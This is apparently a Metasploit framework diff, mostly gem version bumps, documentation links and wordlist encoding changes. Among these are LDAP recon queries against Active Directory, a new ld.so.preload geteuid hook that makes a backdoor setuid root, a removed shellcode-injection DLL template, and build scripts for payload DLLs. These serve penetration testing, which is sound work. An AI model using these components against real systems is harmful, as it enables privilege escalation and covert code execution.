FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
|
||||
Please see the License for the specific language governing rights and
|
||||
limitations under the License."
|
||||
|
||||
+56
-53
@@ -1,31 +1,32 @@
|
||||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.1.0, MIT
|
||||
actionpack, 6.1.7, MIT
|
||||
actionview, 6.1.7, MIT
|
||||
activemodel, 6.1.7, MIT
|
||||
activerecord, 6.1.7, MIT
|
||||
activesupport, 6.1.7, MIT
|
||||
actionpack, 7.0.4.2, MIT
|
||||
actionview, 7.0.4.2, MIT
|
||||
activemodel, 7.0.4.2, MIT
|
||||
activerecord, 7.0.4.2, MIT
|
||||
activesupport, 7.0.4.2, MIT
|
||||
addressable, 2.8.1, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
arel-helpers, 2.14.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.2.0, "Apache 2.0"
|
||||
aws-partitions, 1.689.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.168.4, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.356.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.73.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.61.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.117.2, "Apache 2.0"
|
||||
aws-partitions, 1.722.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.170.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.368.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.75.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.63.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.119.1, "Apache 2.0"
|
||||
aws-sigv4, 1.5.2, "Apache 2.0"
|
||||
bcrypt, 3.1.18, MIT
|
||||
bcrypt_pbkdf, 1.1.0, MIT
|
||||
bindata, 2.4.14, ruby
|
||||
bindata, 2.4.15, "Simplified BSD"
|
||||
bson, 4.15.0, "Apache 2.0"
|
||||
builder, 3.2.4, MIT
|
||||
bundler, 2.1.4, MIT
|
||||
byebug, 11.1.3, "Simplified BSD"
|
||||
chunky_png, 1.4.0, MIT
|
||||
coderay, 1.1.3, MIT
|
||||
concurrent-ruby, 1.1.10, MIT
|
||||
concurrent-ruby, 1.2.2, MIT
|
||||
cookiejar, 0.3.3, unknown
|
||||
crass, 1.0.6, MIT
|
||||
daemons, 1.4.1, MIT
|
||||
@@ -41,10 +42,10 @@ erubi, 1.12.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 6.2.1, MIT
|
||||
factory_bot_rails, 6.2.0, MIT
|
||||
faker, 3.1.0, MIT
|
||||
faraday, 2.7.2, MIT
|
||||
faker, 3.1.1, MIT
|
||||
faraday, 2.7.4, MIT
|
||||
faraday-net_http, 3.0.2, MIT
|
||||
faraday-retry, 2.0.0, MIT
|
||||
faraday-retry, 2.1.0, MIT
|
||||
faye-websocket, 0.11.1, "Apache 2.0"
|
||||
ffi, 1.15.5, "New BSD"
|
||||
filesize, 0.2.0, MIT
|
||||
@@ -59,7 +60,7 @@ http_parser.rb, 0.8.0, MIT
|
||||
httpclient, 2.8.3, ruby
|
||||
i18n, 1.12.0, MIT
|
||||
io-console, 0.6.0, "ruby, Simplified BSD"
|
||||
irb, 1.6.2, "ruby, Simplified BSD"
|
||||
irb, 1.6.3, "ruby, Simplified BSD"
|
||||
jmespath, 1.6.2, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.6.3, ruby
|
||||
@@ -68,18 +69,18 @@ logging, 2.3.1, MIT
|
||||
loofah, 2.19.1, MIT
|
||||
memory_profiler, 1.0.1, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 4.0.5, "New BSD"
|
||||
metasploit-credential, 6.0.1, "New BSD"
|
||||
metasploit-framework, 6.2.37, "New BSD"
|
||||
metasploit-model, 4.0.6, "New BSD"
|
||||
metasploit-payloads, 2.0.108, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 5.0.6, "New BSD"
|
||||
metasploit-concern, 5.0.1, "New BSD"
|
||||
metasploit-credential, 6.0.2, "New BSD"
|
||||
metasploit-framework, 6.3.7, "New BSD"
|
||||
metasploit-model, 5.0.1, "New BSD"
|
||||
metasploit-payloads, 2.0.122, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.2, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
mini_portile2, 2.8.1, MIT
|
||||
minitest, 5.17.0, MIT
|
||||
mqtt, 0.5.0, MIT
|
||||
msgpack, 1.6.0, "Apache 2.0"
|
||||
minitest, 5.18.0, MIT
|
||||
mqtt, 0.6.0, MIT
|
||||
msgpack, 1.6.1, "Apache 2.0"
|
||||
multi_json, 1.15.0, MIT
|
||||
mustermann, 3.0.0, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
@@ -90,7 +91,7 @@ net-ssh, 7.0.1, MIT
|
||||
network_interface, 0.0.2, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
nio4r, 2.5.8, MIT
|
||||
nokogiri, 1.13.10, MIT
|
||||
nokogiri, 1.14.2, MIT
|
||||
nori, 2.6.0, MIT
|
||||
octokit, 4.25.1, MIT
|
||||
openssl-ccm, 1.2.3, MIT
|
||||
@@ -98,64 +99,65 @@ openssl-cmac, 2.0.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
packetfu, 1.1.13, BSD
|
||||
parallel, 1.22.1, MIT
|
||||
parser, 3.2.0.0, MIT
|
||||
parser, 3.2.1.1, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.1, LGPL-2.1
|
||||
pdf-reader, 2.11.0, MIT
|
||||
pg, 1.4.5, "Simplified BSD"
|
||||
pg, 1.4.6, "Simplified BSD"
|
||||
pry, 0.14.2, MIT
|
||||
pry-byebug, 3.10.1, MIT
|
||||
public_suffix, 5.0.1, MIT
|
||||
puma, 6.0.2, "New BSD"
|
||||
puma, 6.1.1, "New BSD"
|
||||
racc, 1.6.2, "ruby, Simplified BSD"
|
||||
rack, 2.2.5, MIT
|
||||
rack, 2.2.6.3, MIT
|
||||
rack-protection, 3.0.5, MIT
|
||||
rack-test, 2.0.2, MIT
|
||||
rails-dom-testing, 2.0.3, MIT
|
||||
rails-html-sanitizer, 1.4.4, MIT
|
||||
railties, 6.1.7, MIT
|
||||
rails-html-sanitizer, 1.5.0, MIT
|
||||
railties, 7.0.4.2, MIT
|
||||
rainbow, 3.1.1, MIT
|
||||
rake, 13.0.6, MIT
|
||||
rasn1, 0.12.1, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 3.0.3, unknown
|
||||
redcarpet, 3.5.1, MIT
|
||||
regexp_parser, 2.6.1, MIT
|
||||
redcarpet, 3.6.0, MIT
|
||||
regexp_parser, 2.7.0, MIT
|
||||
reline, 0.3.2, ruby
|
||||
rex-arch, 0.1.14, "New BSD"
|
||||
rex-bin_tools, 0.1.8, "New BSD"
|
||||
rex-core, 0.1.28, "New BSD"
|
||||
rex-core, 0.1.30, "New BSD"
|
||||
rex-encoder, 0.1.6, "New BSD"
|
||||
rex-exploitation, 0.1.36, "New BSD"
|
||||
rex-exploitation, 0.1.38, "New BSD"
|
||||
rex-java, 0.1.6, "New BSD"
|
||||
rex-mime, 0.1.7, "New BSD"
|
||||
rex-nop, 0.1.2, "New BSD"
|
||||
rex-ole, 0.1.7, "New BSD"
|
||||
rex-powershell, 0.1.97, "New BSD"
|
||||
rex-random_identifier, 0.1.9, "New BSD"
|
||||
rex-random_identifier, 0.1.10, "New BSD"
|
||||
rex-registry, 0.1.4, "New BSD"
|
||||
rex-rop_builder, 0.1.4, "New BSD"
|
||||
rex-socket, 0.1.43, "New BSD"
|
||||
rex-sslscan, 0.1.8, "New BSD"
|
||||
rex-socket, 0.1.47, "New BSD"
|
||||
rex-sslscan, 0.1.9, "New BSD"
|
||||
rex-struct2, 0.1.3, "New BSD"
|
||||
rex-text, 0.2.47, "New BSD"
|
||||
rex-text, 0.2.50, "New BSD"
|
||||
rex-zip, 0.1.4, "New BSD"
|
||||
rexml, 3.2.5, "Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.12.0, MIT
|
||||
rspec-core, 3.12.0, MIT
|
||||
rspec-core, 3.12.1, MIT
|
||||
rspec-expectations, 3.12.2, MIT
|
||||
rspec-mocks, 3.12.2, MIT
|
||||
rspec-mocks, 3.12.3, MIT
|
||||
rspec-rails, 6.0.1, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.12.0, MIT
|
||||
rubocop, 1.42.0, MIT
|
||||
rubocop-ast, 1.24.1, MIT
|
||||
rubocop, 1.48.0, MIT
|
||||
rubocop-ast, 1.27.0, MIT
|
||||
ruby-macho, 3.0.0, MIT
|
||||
ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.11.0, MIT
|
||||
ruby-progressbar, 1.13.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.2.1, "New BSD"
|
||||
ruby_smb, 3.2.5, "New BSD"
|
||||
rubyntlm, 0.6.3, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
sawyer, 0.9.2, MIT
|
||||
@@ -163,16 +165,17 @@ simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.12.3, MIT
|
||||
simpleidn, 0.2.1, MIT
|
||||
sinatra, 3.0.5, MIT
|
||||
sqlite3, 1.5.4, "New BSD"
|
||||
sqlite3, 1.6.1, "New BSD"
|
||||
sshkey, 2.0.0, MIT
|
||||
strptime, 0.2.5, "Simplified BSD"
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
thin, 1.8.1, "GPL-2.0+, ruby"
|
||||
thor, 1.2.1, MIT
|
||||
tilt, 2.0.11, MIT
|
||||
tilt, 2.1.0, MIT
|
||||
timecop, 0.9.6, MIT
|
||||
timeout, 0.3.1, "ruby, Simplified BSD"
|
||||
timeout, 0.3.2, "ruby, Simplified BSD"
|
||||
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 2.0.5, MIT
|
||||
tzinfo, 2.0.6, MIT
|
||||
tzinfo-data, 1.2022.7, MIT
|
||||
unf, 0.1.4, "2-clause BSDL"
|
||||
unf_ext, 0.0.8.2, MIT
|
||||
@@ -183,9 +186,9 @@ webrick, 1.7.0, "ruby, Simplified BSD"
|
||||
websocket-driver, 0.7.5, "Apache 2.0"
|
||||
websocket-extensions, 0.1.5, "Apache 2.0"
|
||||
win32api, 0.1.0, unknown
|
||||
windows_error, 0.1.4, BSD
|
||||
windows_error, 0.1.5, BSD
|
||||
winrm, 2.3.6, "Apache 2.0"
|
||||
xdr, 3.0.3, "Apache 2.0"
|
||||
xmlrpc, 0.3.2, "ruby, Simplified BSD"
|
||||
yard, 0.9.28, MIT
|
||||
zeitwerk, 2.6.6, MIT
|
||||
zeitwerk, 2.6.7, MIT
|
||||
|
||||
@@ -9,6 +9,7 @@ queries:
|
||||
- description
|
||||
- displayName
|
||||
- sAMAccountName
|
||||
- objectSID
|
||||
- userPrincipalName
|
||||
- userAccountControl
|
||||
- homeDirectory
|
||||
@@ -92,12 +93,14 @@ queries:
|
||||
filter: '(|(objectCategory=computer)(objectClass=computer))'
|
||||
attributes:
|
||||
- dn
|
||||
- name
|
||||
- description
|
||||
- displayName
|
||||
- sAMAccountName
|
||||
- objectSID
|
||||
- distinguishedName
|
||||
- dNSHostName
|
||||
- description
|
||||
- givenName
|
||||
- name
|
||||
- operatingSystem
|
||||
- operatingSystemVersion
|
||||
- operatingSystemServicePack
|
||||
@@ -140,6 +143,18 @@ queries:
|
||||
- distinguishedName
|
||||
references:
|
||||
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
|
||||
- action: ENUM_DOMAIN
|
||||
description: 'Dump info about the Active Directory domain.'
|
||||
filter: '(objectClass=domain)'
|
||||
attributes:
|
||||
- ms-DS-MachineAccountQuota
|
||||
- objectSID
|
||||
- name
|
||||
- lockoutduration
|
||||
- lockoutthreshold
|
||||
- minpwdage
|
||||
- maxpwdage
|
||||
- minpwdlength
|
||||
- action: ENUM_DOMAIN_CONTROLLERS
|
||||
description: 'Dump all known domain controllers.'
|
||||
filter: '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))'
|
||||
@@ -253,6 +268,13 @@ queries:
|
||||
- dnsHostName
|
||||
references:
|
||||
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
|
||||
- action: ENUM_MACHINE_ACCOUNT_QUOTA
|
||||
description: 'Dump the number of computer accounts a user is allowed to create in a domain.'
|
||||
filter: '(objectClass=domain)'
|
||||
attributes:
|
||||
- ms-DS-MachineAccountQuota
|
||||
references:
|
||||
- https://learn.microsoft.com/en-us/windows/win32/adschema/a-ms-ds-machineaccountquota
|
||||
- action: ENUM_ORGROLES
|
||||
description: 'Dump info about all known organization roles in the LDAP environment.'
|
||||
filter: '(objectClass=organizationalRole)'
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
#include <dlfcn.h>
|
||||
uid_t geteuid(void) {
|
||||
static uid_t (*old_geteuid)();
|
||||
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
|
||||
if ( old_geteuid() == 0 ) {
|
||||
chown("$BACKDOORPATH", 0, 0);
|
||||
chmod("$BACKDOORPATH", 04777);
|
||||
unlink("/etc/ld.so.preload");
|
||||
}
|
||||
return old_geteuid();
|
||||
}
|
||||
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Executable
BIN
Binary file not shown.
@@ -15,7 +15,7 @@
|
||||
<% end %>
|
||||
|
||||
## Module Ranking
|
||||
<%# https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking %>
|
||||
<%# https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html %>
|
||||
|
||||
**<%= items[:mod_rank_name] %>**
|
||||
|
||||
@@ -47,7 +47,7 @@
|
||||
<% end %>
|
||||
|
||||
## Module Traits
|
||||
<%# https://github.com/rapid7/metasploit-framework/wiki/Definition-of-Module-Reliability,-Side-Effects,-and-Stability %>
|
||||
<%# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html %>
|
||||
|
||||
<% unless items[:mod_side_effects].empty? %>
|
||||
### Side Effects
|
||||
|
||||
@@ -5,4 +5,4 @@ msf <%= mod.type %>(<%= mod.shortname %>) > show options
|
||||
msf <%= mod.type %>(<%= mod.shortname %>) > generate
|
||||
```
|
||||
|
||||
To learn how to generate <%= mod.fullname %> with msfvenom, please [read this](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom).
|
||||
To learn how to generate <%= mod.fullname %> with msfvenom, please [read this](https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html).
|
||||
@@ -0,0 +1,10 @@
|
||||
# PE Source Code
|
||||
This directory contains the source code for the PE executable templates.
|
||||
|
||||
## Building DLLs
|
||||
Use the provided `build_dlls.bat` file, and run it from within the Visual Studio
|
||||
developer console. The batch file requires that the `%VCINSTALLDIR%` environment
|
||||
variable be defined (which it should be by default). The build script will
|
||||
create both the x86 and x64 templates before moving them into the correct
|
||||
folder. The current working directory when the build is run must be the source
|
||||
code directory (`pe`).
|
||||
@@ -0,0 +1,7 @@
|
||||
@echo off
|
||||
|
||||
for /D %%d in (dll*) do (
|
||||
pushd "%%d"
|
||||
build.bat
|
||||
popd
|
||||
)
|
||||
@@ -3,12 +3,13 @@
|
||||
if "%~1"=="" GOTO NO_ARGUMENTS
|
||||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib /entry:DllMain /subsystem:WINDOWS
|
||||
rc /v template.rc
|
||||
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 template.c /Fe:template_%1_windows.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
%COMSPEC% /c "%0" x86
|
||||
%COMSPEC% /c "%0" x64
|
||||
del *.obj
|
||||
del *.obj *.res
|
||||
move *.dll ..\..\..
|
||||
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
|
||||
#ifndef SCSIZE
|
||||
#define SCSIZE 4096
|
||||
#endif
|
||||
unsigned char code[SCSIZE] = "PAYLOAD:";
|
||||
char szSyncNameS[MAX_PATH] = "Local\\Semaphore:Default\0";
|
||||
char szSyncNameE[MAX_PATH] = "Local\\Event:Default\0";
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
@echo off
|
||||
|
||||
if "%~1"=="" GOTO NO_ARGUMENTS
|
||||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
rc /v /fo template.res ../dll/template.rc
|
||||
cl /LD /GS- /DBUILDMODE=2 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
%COMSPEC% /c "%0" x86
|
||||
%COMSPEC% /c "%0" x64
|
||||
del *.exp *.lib *.res *.obj
|
||||
move *.dll ..\..\..
|
||||
@@ -1,24 +0,0 @@
|
||||
#
|
||||
# XXX: NOTE: this will only compile the x86 version.
|
||||
#
|
||||
# To compile the x64 version, use:
|
||||
# C:\> call "c:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\vcvarsall.bat" amd64
|
||||
# C:\> cl.exe -LD /Zl /GS- /DBUILDMODE=2 /link /entry:DllMain kernel32.lib
|
||||
#
|
||||
|
||||
if [ -z "$PREFIX" ]; then
|
||||
PREFIX=i686-w64-mingw32
|
||||
fi
|
||||
|
||||
rm -f *.o *.dll
|
||||
$PREFIX-gcc -c template.c
|
||||
$PREFIX-windres -o rc.o template.rc
|
||||
$PREFIX-gcc -mdll -o junk.tmp -Wl,--base-file,base.tmp template.o rc.o
|
||||
rm -f junk.tmp
|
||||
$PREFIX-dlltool --dllname template_x86_windows.dll --base-file base.tmp --output-exp temp.exp #--def template.def
|
||||
rm -f base.tmp
|
||||
$PREFIX-gcc -mdll -o template_x86_windows.dll template.o rc.o -Wl,temp.exp
|
||||
rm -f temp.exp
|
||||
|
||||
$PREFIX-strip template_x86_windows.dll
|
||||
rm -f *.o
|
||||
-3
@@ -1,6 +1,3 @@
|
||||
#define SCSIZE 2048
|
||||
unsigned char code[SCSIZE] = "PAYLOAD:";
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#pragma comment (linker, "/export:GdipAlloc=c:/windows/system32/gdiplus.GdipAlloc,@34")
|
||||
#pragma comment (linker, "/export:GdipCloneBrush=c:/windows/system32/gdiplus.GdipCloneBrush,@46")
|
||||
@@ -1,97 +0,0 @@
|
||||
#include <windows.h>
|
||||
#include "template.h"
|
||||
|
||||
/* hand-rolled bzero allows us to avoid including ms vc runtime */
|
||||
void inline_bzero(void *p, size_t l)
|
||||
{
|
||||
|
||||
BYTE *q = (BYTE *)p;
|
||||
size_t x = 0;
|
||||
for (x = 0; x < l; x++)
|
||||
*(q++) = 0x00;
|
||||
}
|
||||
|
||||
void ExecutePayload(void);
|
||||
|
||||
BOOL WINAPI
|
||||
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
ExecutePayload();
|
||||
break;
|
||||
|
||||
case DLL_PROCESS_DETACH:
|
||||
// Code to run when the DLL is freed
|
||||
break;
|
||||
|
||||
case DLL_THREAD_ATTACH:
|
||||
// Code to run when a thread is created during the DLL's lifetime
|
||||
break;
|
||||
|
||||
case DLL_THREAD_DETACH:
|
||||
// Code to run when a thread ends normally.
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void ExecutePayload(void) {
|
||||
int error;
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFO si;
|
||||
CONTEXT ctx;
|
||||
DWORD prot;
|
||||
LPVOID ep;
|
||||
|
||||
// Start up the payload in a new process
|
||||
inline_bzero( &si, sizeof( si ));
|
||||
si.cb = sizeof(si);
|
||||
|
||||
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
|
||||
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
|
||||
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
|
||||
GetThreadContext(pi.hThread, &ctx);
|
||||
|
||||
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
|
||||
|
||||
#ifdef _WIN64
|
||||
ctx.Rip = (DWORD64)ep;
|
||||
#else
|
||||
ctx.Eip = (DWORD)ep;
|
||||
#endif
|
||||
|
||||
SetThreadContext(pi.hThread,&ctx);
|
||||
|
||||
ResumeThread(pi.hThread);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
||||
// ExitProcess(0);
|
||||
ExitThread(0);
|
||||
}
|
||||
|
||||
/*
|
||||
typedef VOID
|
||||
(NTAPI *PIMAGE_TLS_CALLBACK) (
|
||||
PVOID DllHandle,
|
||||
ULONG Reason,
|
||||
PVOID Reserved
|
||||
);
|
||||
|
||||
VOID NTAPI TlsCallback(
|
||||
IN PVOID DllHandle,
|
||||
IN ULONG Reason,
|
||||
IN PVOID Reserved)
|
||||
{
|
||||
__asm ( "int3" );
|
||||
}
|
||||
|
||||
ULONG _tls_index;
|
||||
PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL };
|
||||
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 };
|
||||
*/
|
||||
|
||||
@@ -1,3 +0,0 @@
|
||||
EXPORTS
|
||||
DllMain@12
|
||||
|
||||
@@ -1,18 +0,0 @@
|
||||
|
||||
LANGUAGE 9, 1
|
||||
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 0,0,0,1
|
||||
PRODUCTVERSION 0,0,0,1
|
||||
FILEFLAGSMASK 0x17L
|
||||
FILEFLAGS 0x0L
|
||||
FILEOS 0x4L
|
||||
FILETYPE 0x2L
|
||||
FILESUBTYPE 0x0L
|
||||
BEGIN
|
||||
|
||||
END
|
||||
|
||||
#define RT_HTML 23
|
||||
|
||||
@@ -4,6 +4,7 @@ if "%~1"=="" GOTO NO_ARGUMENTS
|
||||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 template.cpp /Fe:template_%1_windows_mixed_mode.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
|
||||
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 /DSCSIZE=262144 template.cpp /Fe:template_%1_windows_mixed_mode.256kib.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
|
||||
BIN
Binary file not shown.
Regular → Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Regular → Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+306
-305
@@ -274,8 +274,8 @@ abbreviating
|
||||
abbreviation
|
||||
abby
|
||||
abbye
|
||||
abbé
|
||||
abbés
|
||||
abbé
|
||||
abbés
|
||||
abc
|
||||
abc123
|
||||
abcd
|
||||
@@ -975,7 +975,7 @@ adipose
|
||||
adiposes
|
||||
adirondack
|
||||
adirondacks
|
||||
adiós
|
||||
adiós
|
||||
adj
|
||||
adjacency
|
||||
adjacent
|
||||
@@ -1573,7 +1573,7 @@ aidan
|
||||
aide
|
||||
aide-de-camp
|
||||
aide-memoires
|
||||
aide-mémoire
|
||||
aide-mémoire
|
||||
aided
|
||||
aider
|
||||
aides-de-camp
|
||||
@@ -3006,7 +3006,7 @@ animistic
|
||||
animized
|
||||
animosity
|
||||
animus
|
||||
animé
|
||||
animé
|
||||
anion
|
||||
anionic
|
||||
anise
|
||||
@@ -3615,10 +3615,10 @@ applicator
|
||||
applier
|
||||
appliers
|
||||
applique
|
||||
appliqué
|
||||
appliquéd
|
||||
appliquéing
|
||||
appliqués
|
||||
appliqué
|
||||
appliquéd
|
||||
appliquéing
|
||||
appliqués
|
||||
apply
|
||||
appoint
|
||||
appointee
|
||||
@@ -4274,8 +4274,8 @@ arvy
|
||||
aryan
|
||||
aryanism
|
||||
aryn
|
||||
arête
|
||||
arêtes
|
||||
arête
|
||||
arêtes
|
||||
as
|
||||
asa
|
||||
asama
|
||||
@@ -4618,7 +4618,7 @@ asturias
|
||||
astute
|
||||
astuteness
|
||||
asuncion
|
||||
asunción
|
||||
asunción
|
||||
asunder
|
||||
aswan
|
||||
asyllabic
|
||||
@@ -4643,7 +4643,7 @@ atalanta
|
||||
atamelang
|
||||
atari
|
||||
ataturk
|
||||
atatürk
|
||||
atatürk
|
||||
atavism
|
||||
atavist
|
||||
atavistic
|
||||
@@ -4742,7 +4742,7 @@ attached
|
||||
attacher
|
||||
attaches
|
||||
attachment
|
||||
attaché
|
||||
attaché
|
||||
attack
|
||||
attackable
|
||||
attacker
|
||||
@@ -6141,7 +6141,7 @@ bartolomeo
|
||||
barton
|
||||
bartram
|
||||
barty
|
||||
bartók
|
||||
bartók
|
||||
baruch
|
||||
barvale
|
||||
barvallen
|
||||
@@ -7880,7 +7880,7 @@ blast
|
||||
blaster
|
||||
blasting
|
||||
blastoff
|
||||
blasé
|
||||
blasé
|
||||
blat
|
||||
blatancy
|
||||
blatant
|
||||
@@ -8433,7 +8433,7 @@ bogotified
|
||||
bogotifies
|
||||
bogotify
|
||||
bogotifying
|
||||
bogotá
|
||||
bogotá
|
||||
bogus
|
||||
bogy
|
||||
bogyman
|
||||
@@ -8911,7 +8911,7 @@ botulinum
|
||||
botulinus
|
||||
botulism
|
||||
boucher
|
||||
bouclé
|
||||
bouclé
|
||||
boudicca
|
||||
boudoir
|
||||
bouffant
|
||||
@@ -8962,13 +8962,13 @@ bourne
|
||||
bournemouth
|
||||
bourree
|
||||
bourses
|
||||
bourée
|
||||
bourée
|
||||
boustrophedon
|
||||
bout
|
||||
boutique
|
||||
boutonniere
|
||||
boutonnière
|
||||
boutonnières
|
||||
boutonnière
|
||||
boutonnières
|
||||
bouvier
|
||||
bouzouki
|
||||
bovary
|
||||
@@ -9052,7 +9052,7 @@ boyscout
|
||||
boysenberry
|
||||
boyup
|
||||
bozo
|
||||
boötes
|
||||
boötes
|
||||
bp
|
||||
bpi
|
||||
bpoe
|
||||
@@ -9435,7 +9435,7 @@ bribery
|
||||
bribie
|
||||
bric
|
||||
bric-a-brac
|
||||
bric-à-brac
|
||||
bric-à-brac
|
||||
brice
|
||||
brick
|
||||
brick-red
|
||||
@@ -10472,7 +10472,7 @@ buzzer
|
||||
buzzing
|
||||
buzzword
|
||||
buzzy
|
||||
buñuel
|
||||
buñuel
|
||||
bx
|
||||
bxs
|
||||
by
|
||||
@@ -10528,10 +10528,10 @@ byway
|
||||
byword
|
||||
byzantine
|
||||
byzantium
|
||||
bêche
|
||||
bête
|
||||
bêtes
|
||||
bêtise
|
||||
bêche
|
||||
bête
|
||||
bêtes
|
||||
bêtise
|
||||
c
|
||||
c.elegans
|
||||
c.lit.
|
||||
@@ -10646,8 +10646,8 @@ caffeinated
|
||||
caffeine
|
||||
caftan
|
||||
cafutweni
|
||||
café
|
||||
cafés
|
||||
café
|
||||
cafés
|
||||
cage
|
||||
caged
|
||||
cager
|
||||
@@ -10962,8 +10962,8 @@ canalization
|
||||
canalize
|
||||
canalling
|
||||
canape
|
||||
canapé
|
||||
canapés
|
||||
canapé
|
||||
canapés
|
||||
canard
|
||||
canaries
|
||||
canary
|
||||
@@ -13334,11 +13334,11 @@ chutzpahs
|
||||
chuvash
|
||||
chweni
|
||||
chyme
|
||||
château
|
||||
châteaus
|
||||
châteaux
|
||||
châtelaine
|
||||
châtelaines
|
||||
château
|
||||
châteaus
|
||||
châteaux
|
||||
châtelaine
|
||||
châtelaines
|
||||
ci
|
||||
cia
|
||||
ciao
|
||||
